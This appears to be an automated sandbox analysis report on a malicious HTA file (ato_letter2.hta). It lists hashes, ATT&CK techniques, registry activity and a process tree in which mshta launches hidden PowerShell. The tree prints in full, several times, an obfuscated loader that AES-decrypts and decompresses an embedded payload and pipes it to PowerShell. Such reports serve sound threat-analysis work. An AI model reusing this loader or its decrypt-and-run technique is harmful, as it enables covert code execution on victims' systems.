3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21/01/2025, 13:39

250121-qx27kswrck 10

21/01/2025, 11:57

250121-n4kvrsskfv 10

21/01/2025, 11:43

250121-nvpglaslfq 10

21/01/2025, 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
15s
max time network
21s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
21/01/2025, 11:26

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General

Target

163.5.169.28/ato_letter2.hta
Size

1.1MB
MD5

54ff1471d93aa84c94efd8cbae4c6c78
SHA1

11c7d8cd8e02b27aee846c353c32b114a7daa3bf
SHA256

e1869d3a88c9190cf43014e3cb48562fc220ff7f6d5baed77c7dfa1c84c5d530
SHA512

5eed6c7f0ffc27e96349fa8fc7c959e87ff35561da2b811f2e59c0fa0bd42f53debd4079da4c1df133b8211c38ef48f03b3f8b5471370bcf6ed79d240fdde804
SSDEEP

1536:SwxapK31kELNEZ1fos0mr/l1vcmafSIm+lIWFR9UU5gou0gQixFaVEYkEOvMXu+f:SOapK31RBEDws7g

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1376	powershell.exe
3036	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
3036	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 1376	1688	mshta.exe	29
PID 1688 wrote to memory of 1376	1688	mshta.exe	29
PID 1688 wrote to memory of 1376	1688	mshta.exe	29
PID 1688 wrote to memory of 1376	1688	mshta.exe	29
PID 1376 wrote to memory of 2836	1376	powershell.exe	31
PID 1376 wrote to memory of 2836	1376	powershell.exe	31
PID 1376 wrote to memory of 2836	1376	powershell.exe	31
PID 1376 wrote to memory of 2836	1376	powershell.exe	31
PID 2836 wrote to memory of 3036	2836	cmd.exe	33
PID 2836 wrote to memory of 3036	2836	cmd.exe	33
PID 2836 wrote to memory of 3036	2836	cmd.exe	33
PID 2836 wrote to memory of 3036	2836	cmd.exe	33
PID 2836 wrote to memory of 2792	2836	cmd.exe	34
PID 2836 wrote to memory of 2792	2836	cmd.exe	34
PID 2836 wrote to memory of 2792	2836	cmd.exe	34
PID 2836 wrote to memory of 2792	2836	cmd.exe	34

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\ato_letter2.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3036
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
43aab94d040336c784d4dc4ef5e03109

SHA1
f0e56908ac43b7cbc24b991c54b351f1f7d55341

SHA256
b29f8cb9e863465b517f94ef70fb0cad8582019911aee98fe7afae3dd2192a9f

SHA512
820138fda13b9baa130b9c1609a86d39d8193760f208283f6290c5dd9e72d594a54cfafa949e8d9e65ea77211ee1e80c4544789ac4a179ef1f5f2428e5e92197

Download Submit
memory/1376-2-0x0000000002920000-0x0000000002960000-memory.dmp

Filesize
256KB

Download